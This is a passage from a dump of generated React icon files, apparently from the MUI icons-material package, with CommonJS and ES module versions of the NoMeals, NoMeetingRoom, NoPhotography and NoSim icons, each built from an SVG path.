    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 18.17-2-2V14h-1c-1.1 0-2-.9-2-2V6c0-1.49 1.6-3.32 3.76-3.85.63-.15 1.24.33 1.24.98zm.19 4.44c-.39.39-1.02.39-1.41 0l-9.76-9.76c-.33.09-.66.15-1.02.15v8c0 .55-.45 1-1 1s-1-.45-1-1v-8c-2.21 0-4-1.79-4-4V5.83L1.39 4.22a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l18.38 18.38c.4.39.4 1.03.01 1.42M6.17 9 5 7.83V9zM13 9V3c0-.55-.45-1-1-1s-1 .45-1 1v5.17l1.85 1.85c.09-.33.15-.66.15-1.02M9 3c0-.55-.45-1-1-1s-1 .45-1 1v1.17l2 2z\"\n}), 'NoMealsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMealsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 18.17-2-2V14h-1c-1.1 0-2-.9-2-2V6c0-1.49 1.6-3.32 3.76-3.85.63-.15 1.24.33 1.24.98zm.19 4.44c-.39.39-1.02.39-1.41 0l-9.76-9.76c-.33.09-.66.15-1.02.15v8c0 .55-.45 1-1 1s-1-.45-1-1v-8c-2.21 0-4-1.79-4-4V5.83L1.39 4.22a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l18.38 18.38c.4.39.4 1.03.01 1.42M6.17 9 5 7.83V9zM13 9V3c0-.55-.45-1-1-1s-1 .45-1 1v5.17l1.85 1.85c.09-.33.15-.66.15-1.02M9 3c0-.55-.45-1-1-1s-1 .45-1 1v1.17l2 2z\"\n}), 'NoMealsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMealsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 14V6c0-1.76 2.24-4 5-4v16.17l-2-2V14zm4.49 9.31L10.02 12.85c-.33.09-.66.15-1.02.15v9H7v-9c-2.21 0-4-1.79-4-4V5.83L.69 3.51 2.1 2.1l19.8 19.8zM6.17 9 5 7.83V9zM9 2H7v2.17l2 2zm4 7V2h-2v6.17l1.85 1.85c.09-.33.15-.66.15-1.02\"\n}), 'NoMealsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMealsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 14V6c0-1.76 2.24-4 5-4v16.17l-2-2V14zm4.49 9.31L10.02 12.85c-.33.09-.66.15-1.02.15v9H7v-9c-2.21 0-4-1.79-4-4V5.83L.69 3.51 2.1 2.1l19.8 19.8zM6.17 9 5 7.83V9zM9 2H7v2.17l2 2zm4 7V2h-2v6.17l1.85 1.85c.09-.33.15-.66.15-1.02\"\n}), 'NoMealsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMealsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 14V6c0-1.76 2.24-4 5-4v16.17l-2-2V14zm4.49 9.31L10.02 12.85c-.33.09-.66.15-1.02.15v9H7v-9c-2.21 0-4-1.79-4-4V5.83L.69 3.51 2.1 2.1l19.8 19.8zM6.17 9 5 7.83V9zM9 2H7v2.17l2 2zm4 7V2h-2v6.17l1.85 1.85c.09-.33.15-.66.15-1.02\"\n}), 'NoMealsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMealsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 14V6c0-1.76 2.24-4 5-4v16.17l-2-2V14zm4.49 9.31L10.02 12.85c-.33.09-.66.15-1.02.15v9H7v-9c-2.21 0-4-1.79-4-4V5.83L.69 3.51 2.1 2.1l19.8 19.8zM6.17 9 5 7.83V9zM9 2H7v2.17l2 2zm4 7V2h-2v6.17l1.85 1.85c.09-.33.15-.66.15-1.02\"\n}), 'NoMealsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMeetingRoom.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 11h-1v2h2v-1l9.73 9.73L20.46 23 14 16.54V21H3v-2h2V7.54l-4-4 1.27-1.27zm3 .49L5.51 3H14v1h5v12.49l-2-2V6h-3z\"\n}), 'NoMeetingRoom');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMeetingRoom.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 11h-1v2h2v-1l9.73 9.73L20.46 23 14 16.54V21H3v-2h2V7.54l-4-4 1.27-1.27zm3 .49L5.51 3H14v1h5v12.49l-2-2V6h-3z\"\n}), 'NoMeetingRoom');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMeetingRoomOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5v3.88l2 2V6h3v7.88l2 2V4h-5V3H6.12l2 2zM2.41 2.13 1 3.54l4 4V19H3v2h11v-4.46L20.46 23l1.41-1.41zM12 19H7V9.54l5 5z\"\n}), 'NoMeetingRoomOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMeetingRoomOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5v3.88l2 2V6h3v7.88l2 2V4h-5V3H6.12l2 2zM2.41 2.13 1 3.54l4 4V19H3v2h11v-4.46L20.46 23l1.41-1.41zM12 19H7V9.54l5 5z\"\n}), 'NoMeetingRoomOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMeetingRoomRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 6h3v7.88l2 2V5c0-.55-.45-1-1-1h-4c0-.55-.45-1-1-1H6.12L14 10.88zm7.17 14.88L12 11.71V13h-2v-2h1.29L3.12 2.83a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L5 7.54V19H4c-.55 0-1 .45-1 1s.45 1 1 1h9c.55 0 1-.45 1-1v-3.46l5.75 5.75c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41\"\n}), 'NoMeetingRoomRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMeetingRoomRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 6h3v7.88l2 2V5c0-.55-.45-1-1-1h-4c0-.55-.45-1-1-1H6.12L14 10.88zm7.17 14.88L12 11.71V13h-2v-2h1.29L3.12 2.83a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L5 7.54V19H4c-.55 0-1 .45-1 1s.45 1 1 1h9c.55 0 1-.45 1-1v-3.46l5.75 5.75c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41\"\n}), 'NoMeetingRoomRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMeetingRoomSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 6h3v7.88l2 2V4h-5V3H6.12L14 10.88zm-2 5.71V13h-2v-2h1.29L2.41 2.13 1 3.54l4 4V19H3v2h11v-4.46L20.46 23l1.41-1.41z\"\n}), 'NoMeetingRoomSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMeetingRoomSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 6h3v7.88l2 2V4h-5V3H6.12L14 10.88zm-2 5.71V13h-2v-2h1.29L2.41 2.13 1 3.54l4 4V19H3v2h11v-4.46L20.46 23l1.41-1.41z\"\n}), 'NoMeetingRoomSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMeetingRoomTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5H8.12L12 8.88V6zM7 19h5v-4.46l-5-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5v3.88l2 2V6h3v7.88l2 2V4h-5V3H6.12l2 2zM2.41 2.13 1 3.54l4 4V19H3v2h11v-4.46L20.46 23l1.41-1.41zM12 19H7V9.54l5 5z\"\n}, \"1\")], 'NoMeetingRoomTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoMeetingRoomTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5H8.12L12 8.88V6zM7 19h5v-4.46l-5-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5v3.88l2 2V6h3v7.88l2 2V4h-5V3H6.12l2 2zM2.41 2.13 1 3.54l4 4V19H3v2h11v-4.46L20.46 23l1.41-1.41zM12 19H7V9.54l5 5z\"\n}, \"1\")], 'NoMeetingRoomTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoPhotography.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.94 8.12 7.48 4.66 9 3h6l1.83 2H20c1.1 0 2 .9 2 2v12c0 .05-.01.1-.02.16l-5.1-5.1c.08-.35.12-.7.12-1.06 0-2.76-2.24-5-5-5-.36 0-.71.04-1.06.12m9.55 15.19L18.17 21H4c-1.1 0-2-.9-2-2V7c0-.59.27-1.12.68-1.49l-2-2L2.1 2.1l19.8 19.8zm-6-5.99-1.5-1.5c-.32.1-.64.18-.99.18-1.66 0-3-1.34-3-3 0-.35.08-.67.19-.98l-1.5-1.5C7.25 11.24 7 12.09 7 13c0 2.76 2.24 5 5 5 .91 0 1.76-.25 2.49-.68\"\n}), 'NoPhotography');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoPhotography.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.94 8.12 7.48 4.66 9 3h6l1.83 2H20c1.1 0 2 .9 2 2v12c0 .05-.01.1-.02.16l-5.1-5.1c.08-.35.12-.7.12-1.06 0-2.76-2.24-5-5-5-.36 0-.71.04-1.06.12m9.55 15.19L18.17 21H4c-1.1 0-2-.9-2-2V7c0-.59.27-1.12.68-1.49l-2-2L2.1 2.1l19.8 19.8zm-6-5.99-1.5-1.5c-.32.1-.64.18-.99.18-1.66 0-3-1.34-3-3 0-.35.08-.67.19-.98l-1.5-1.5C7.25 11.24 7 12.09 7 13c0 2.76 2.24 5 5 5 .91 0 1.76-.25 2.49-.68\"\n}), 'NoPhotography');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoPhotographyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.9 6.07 7.48 4.66 9 3h6l1.83 2H20c1.1 0 2 .9 2 2v12c0 .05-.01.1-.02.16L20 17.17V7h-4.05l-1.83-2H9.88zm11.59 17.24L18.17 21H4c-1.1 0-2-.9-2-2V7c0-.59.27-1.12.68-1.49l-2-2L2.1 2.1l19.8 19.8zM9.19 12.02c-.11.31-.19.63-.19.98 0 1.66 1.34 3 3 3 .35 0 .67-.08.98-.19zM16.17 19l-1.68-1.68c-.73.43-1.58.68-2.49.68-2.76 0-5-2.24-5-5 0-.91.25-1.76.68-2.49L4.17 7H4v12zm-1.36-7.02 2.07 2.07Q17 13.54 17 13c0-2.76-2.24-5-5-5-.36 0-.71.04-1.06.12l2.07 2.07c.84.3 1.5.96 1.8 1.79\"\n}), 'NoPhotographyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoPhotographyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.9 6.07 7.48 4.66 9 3h6l1.83 2H20c1.1 0 2 .9 2 2v12c0 .05-.01.1-.02.16L20 17.17V7h-4.05l-1.83-2H9.88zm11.59 17.24L18.17 21H4c-1.1 0-2-.9-2-2V7c0-.59.27-1.12.68-1.49l-2-2L2.1 2.1l19.8 19.8zM9.19 12.02c-.11.31-.19.63-.19.98 0 1.66 1.34 3 3 3 .35 0 .67-.08.98-.19zM16.17 19l-1.68-1.68c-.73.43-1.58.68-2.49.68-2.76 0-5-2.24-5-5 0-.91.25-1.76.68-2.49L4.17 7H4v12zm-1.36-7.02 2.07 2.07Q17 13.54 17 13c0-2.76-2.24-5-5-5-.36 0-.71.04-1.06.12l2.07 2.07c.84.3 1.5.96 1.8 1.79\"\n}), 'NoPhotographyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoPhotographyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.94 8.12 7.48 4.66l.92-1.01c.38-.41.92-.65 1.48-.65h4.24c.56 0 1.1.24 1.47.65L16.83 5H20c1.1 0 2 .9 2 2v12c0 .05-.01.1-.02.16l-5.1-5.1c.08-.35.12-.7.12-1.06 0-2.76-2.24-5-5-5-.36 0-.71.04-1.06.12m8.84 14.49L18.17 21H4c-1.1 0-2-.9-2-2V7c0-.59.27-1.12.68-1.49L1.39 4.22a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l18.38 18.38c.39.39.39 1.02 0 1.41-.38.4-1.01.4-1.4.01m-5.29-5.29-1.5-1.5c-.32.1-.64.18-.99.18-1.66 0-3-1.34-3-3 0-.35.08-.67.19-.98l-1.5-1.5C7.25 11.24 7 12.09 7 13c0 2.76 2.24 5 5 5 .91 0 1.76-.25 2.49-.68\"\n}), 'NoPhotographyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoPhotographyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.94 8.12 7.48 4.66l.92-1.01c.38-.41.92-.65 1.48-.65h4.24c.56 0 1.1.24 1.47.65L16.83 5H20c1.1 0 2 .9 2 2v12c0 .05-.01.1-.02.16l-5.1-5.1c.08-.35.12-.7.12-1.06 0-2.76-2.24-5-5-5-.36 0-.71.04-1.06.12m8.84 14.49L18.17 21H4c-1.1 0-2-.9-2-2V7c0-.59.27-1.12.68-1.49L1.39 4.22a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l18.38 18.38c.39.39.39 1.02 0 1.41-.38.4-1.01.4-1.4.01m-5.29-5.29-1.5-1.5c-.32.1-.64.18-.99.18-1.66 0-3-1.34-3-3 0-.35.08-.67.19-.98l-1.5-1.5C7.25 11.24 7 12.09 7 13c0 2.76 2.24 5 5 5 .91 0 1.76-.25 2.49-.68\"\n}), 'NoPhotographyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoPhotographySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.94 8.12 7.48 4.66 9 3h6l1.83 2H22v14.17l-5.12-5.12Q17 13.54 17 13c0-2.76-2.24-5-5-5-.36 0-.71.04-1.06.12m9.55 15.19L18.17 21H2V5h.17L.69 3.51 2.1 2.1 21 21l.9.9zm-6-5.99-1.5-1.5c-.32.1-.64.18-.99.18-1.66 0-3-1.34-3-3 0-.35.08-.67.19-.98l-1.5-1.5C7.25 11.24 7 12.09 7 13c0 2.76 2.24 5 5 5 .91 0 1.76-.25 2.49-.68\"\n}), 'NoPhotographySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoPhotographySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.94 8.12 7.48 4.66 9 3h6l1.83 2H22v14.17l-5.12-5.12Q17 13.54 17 13c0-2.76-2.24-5-5-5-.36 0-.71.04-1.06.12m9.55 15.19L18.17 21H2V5h.17L.69 3.51 2.1 2.1 21 21l.9.9zm-6-5.99-1.5-1.5c-.32.1-.64.18-.99.18-1.66 0-3-1.34-3-3 0-.35.08-.67.19-.98l-1.5-1.5C7.25 11.24 7 12.09 7 13c0 2.76 2.24 5 5 5 .91 0 1.76-.25 2.49-.68\"\n}), 'NoPhotographySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoPhotographyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.94 8.12 8.9 6.07 9.88 5h4.24l1.83 2H20v10.17l-3.12-3.12Q17 13.54 17 13c0-2.76-2.24-5-5-5-.36 0-.71.04-1.06.12M12 18c-2.76 0-5-2.24-5-5 0-.91.25-1.76.68-2.49L4.17 7H4v12h12.17l-1.68-1.68c-.73.43-1.58.68-2.49.68\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.9 6.07 7.48 4.66 9 3h6l1.83 2H20c1.1 0 2 .9 2 2v12c0 .05-.01.1-.02.16L20 17.17V7h-4.05l-1.83-2H9.88zm11.59 17.24L18.17 21H4c-1.1 0-2-.9-2-2V7c0-.59.27-1.12.68-1.49l-2-2L2.1 2.1 7 7l2.01 2.01 1.43 1.43 4.1 4.1 1.43 1.43L19 19l1.82 1.82 1.08 1.08zM9.19 12.02c-.11.31-.19.63-.19.98 0 1.65 1.35 3 3 3 .35 0 .67-.08.98-.19zM16.17 19l-1.68-1.68c-.73.43-1.58.68-2.49.68-2.76 0-5-2.24-5-5 0-.91.25-1.76.68-2.49L4.17 7H4v12zm-1.36-7.02 2.08 2.08c.07-.35.11-.7.11-1.06 0-2.76-2.24-5-5-5-.36 0-.71.04-1.06.12l2.08 2.08c.83.3 1.48.95 1.79 1.78\"\n}, \"1\")], 'NoPhotographyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoPhotographyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.94 8.12 8.9 6.07 9.88 5h4.24l1.83 2H20v10.17l-3.12-3.12Q17 13.54 17 13c0-2.76-2.24-5-5-5-.36 0-.71.04-1.06.12M12 18c-2.76 0-5-2.24-5-5 0-.91.25-1.76.68-2.49L4.17 7H4v12h12.17l-1.68-1.68c-.73.43-1.58.68-2.49.68\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.9 6.07 7.48 4.66 9 3h6l1.83 2H20c1.1 0 2 .9 2 2v12c0 .05-.01.1-.02.16L20 17.17V7h-4.05l-1.83-2H9.88zm11.59 17.24L18.17 21H4c-1.1 0-2-.9-2-2V7c0-.59.27-1.12.68-1.49l-2-2L2.1 2.1 7 7l2.01 2.01 1.43 1.43 4.1 4.1 1.43 1.43L19 19l1.82 1.82 1.08 1.08zM9.19 12.02c-.11.31-.19.63-.19.98 0 1.65 1.35 3 3 3 .35 0 .67-.08.98-.19zM16.17 19l-1.68-1.68c-.73.43-1.58.68-2.49.68-2.76 0-5-2.24-5-5 0-.91.25-1.76.68-2.49L4.17 7H4v12zm-1.36-7.02 2.08 2.08c.07-.35.11-.7.11-1.06 0-2.76-2.24-5-5-5-.36 0-.71.04-1.06.12l2.08 2.08c.83.3 1.48.95 1.79 1.78\"\n}, \"1\")], 'NoPhotographyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoSim.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.99 5c0-1.1-.89-2-1.99-2h-7L7.66 5.34 19 16.68zM3.65 3.88 2.38 5.15 5 7.77V19c0 1.1.9 2 2 2h10.01c.35 0 .67-.1.96-.26l1.88 1.88 1.27-1.27z\"\n}), 'NoSim');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoSim.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.99 5c0-1.1-.89-2-1.99-2h-7L7.66 5.34 19 16.68zM3.65 3.88 2.38 5.15 5 7.77V19c0 1.1.9 2 2 2h10.01c.35 0 .67-.1.96-.26l1.88 1.88 1.27-1.27z\"\n}), 'NoSim');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoSimOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.26 21.21 3.79 3.74 2.38 5.15l2.74 2.74-.12.12V19c0 1.1.9 2 2 2h10c.35 0 .68-.1.97-.26l1.88 1.88zM7 19V9.77L16.23 19zm3.84-14H17v9.11l2 2V5c0-1.1-.9-2-2-2h-6.99L7.95 5.06l1.41 1.41z\"\n}), 'NoSimOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoSimOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.26 21.21 3.79 3.74 2.38 5.15l2.74 2.74-.12.12V19c0 1.1.9 2 2 2h10c.35 0 .68-.1.97-.26l1.88 1.88zM7 19V9.77L16.23 19zm3.84-14H17v9.11l2 2V5c0-1.1-.9-2-2-2h-6.99L7.95 5.06l1.41 1.41z\"\n}), 'NoSimOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoSimRounded.js",
